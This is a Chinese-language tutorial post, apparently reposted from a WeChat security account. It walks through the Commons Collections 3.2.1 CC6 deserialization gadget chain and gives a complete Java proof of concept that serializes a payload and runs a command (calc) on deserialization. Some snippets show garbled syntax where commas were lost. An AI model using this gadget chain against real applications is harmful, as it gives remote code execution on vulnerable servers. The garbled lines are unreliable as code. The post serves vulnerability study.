Java安全-CC6反序列化

漏洞介绍

使用了3.2.1版本的Commons Collections从mvnrepository上搜索发现该版本已被提示存在两个风险

Java安全-CC6反序列化

点进去看到关联到两个CVE(CVE-2015-7501、CVE-2015-6420)

Java安全-CC6反序列化

该漏洞的poc利用链已被公开,也就是CC6利用链,CC6是最好用的利用链是因为CC6不限制jdk版本,只要commons collections版本小于等于3.2.1,都存在这个漏洞。

多条利用链:

Java安全-CC6反序列化

本次主要讲解CC6利用链,从图中看出整体的链子Gadget chain

java.io.ObjectInputStream.readObject()
    java.util.HashSet.readObject()
        java.util.HashMap.put()
        java.util.HashMap.hash()
            org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
            org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                org.apache.commons.collections.map.LazyMap.get()
                    org.apache.commons.collections.functors.ChainedTransformer.transform()
                    org.apache.commons.collections.functors.InvokerTransformer.transform()
                    java.lang.reflect.Method.invoke()
                        java.lang.Runtime.exec()

构造利用链

最终执行命令的类InvokerTransformer,反射架子所在方法transform(),里面根据传的参数利用反射直接调用invoke()函数进行命令执行。

Java安全-CC6反序列化

手动new一下试试这里的命令执行

public static void cc6() {    
    InvokerTransformer invokerTransformer = new InvokerTransformer(    
        "exec",    
        new Class[]{String.class},    
        new String[]
{"calc.exe"}    
    );    
    Object input = Runtime.getRuntime();    
    invokerTransformer.transform(input);    
}

把input参数也使用反射获取

public static void cc6() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {    
    InvokerTransformer invokerTransformer = new InvokerTransformer(    
        "exec",    
        new Class[]{String.class},    
        new String[]
{"calc.exe"}    
    );    
    Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));    
    invokerTransformer.transform(input);    
}

再往前倒,谁能调用InvokerTransformertransform()呢,找到了ChainedTransformerConstantTransformer

其中ChainedTransformer的构造方法给iTransformers赋值,然后transform()方法调用每一个iTransformerstransform()方法

Java安全-CC6反序列化

以及ConstantTransformer的构造方法给iConstant赋值,然后transform()方法直接返回入参的值

Java安全-CC6反序列化

套上这两个类,改造我们前面的利用脚本链子

public static void cc6() {    
    Transformer[] transformers = new Transformer[]{    
        new ConstantTransformer(Runtime.class), //获得Runtimeclass    
        new InvokerTransformer(    
            "getMethod",    
            new Class[]
{String.class,Class[].class}, //执行.getMethod("getRuntime")    
            new Object[]
{"getRuntime",new Class[0]}    
        ),    
        new InvokerTransformer(    
            "invoke",    
            new Class[]{Object.classObject[].class}, //执行.invoke()得到Runtime实例    
            new Object[]
{nullnull}    
        ),    
        new InvokerTransformer(    
            "exec",    
            new Class[]{String.class}, //传入Runtime实例    
            new Object[]
{"calc.exe"}    
        )    
    };    
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);    
    chainedTransformer.transform(null);    
}

继续往前找,再去找如何能触发ChainedTransformerConstantTransformertransform()方法,找到了LazyMapget()方法,里面给factory变量调用了transform()方法

Java安全-CC6反序列化

再往前找哪里可以调用LazyMapget()方法,看到TiedMapEntry类里面有getValue()方法里面有get,也就是只需要反序列化把map变量赋值为LazyMap类即可

Java安全-CC6反序列化

继续找哪里调用了getValue()方法,还是在LazyMap类中找到hashCode()方法

Java安全-CC6反序列化

然后继续往前追踪hashCode()方法,找到HashMap类里面存在hash()方法

Java安全-CC6反序列化

继续往前跟踪hash()方法的调用,找到还是在HashMap类中put()方法调用了hash()方法

Java安全-CC6反序列化

继续往前找发现HashSetreadObject()方法调用了HashMapput()方法,刚好readObject()就是反序列化的入口函数,链子就通了

Java安全-CC6反序列化

手动本地构造利用条件执行calc命令

Java安全-CC6反序列化

利用链代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

//cc-3.2.1.jar
public class CommonsCollections6 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]
{String.classClass[].class}, new Object[]{"getRuntime"new Class[0]}),
                new InvokerTransformer("invoke"new Class[]{Object.classObject[].class}, new Object[]{nullnull}),
                new InvokerTransformer("exec"new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "2");
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, "3");

        lazymap.remove("2");

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazymap, chainedTransformer);

        serial(hashMap);
        unserial();
    }

    public static void serial(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc6.bin"));
        out.writeObject(obj);
    }

    public static void unserial() throws IOException, ClassNotFoundException {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc6.bin"));
        in.readObject();
    }
}


原文始发于微信公众号(智佳网络安全):Java安全-CC6反序列化

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/300767.html

(0)
小半的头像小半

相关推荐

发表回复

登录后才能评论
极客之音——专业性很强的中文编程技术网站,欢迎收藏到浏览器,订阅我们!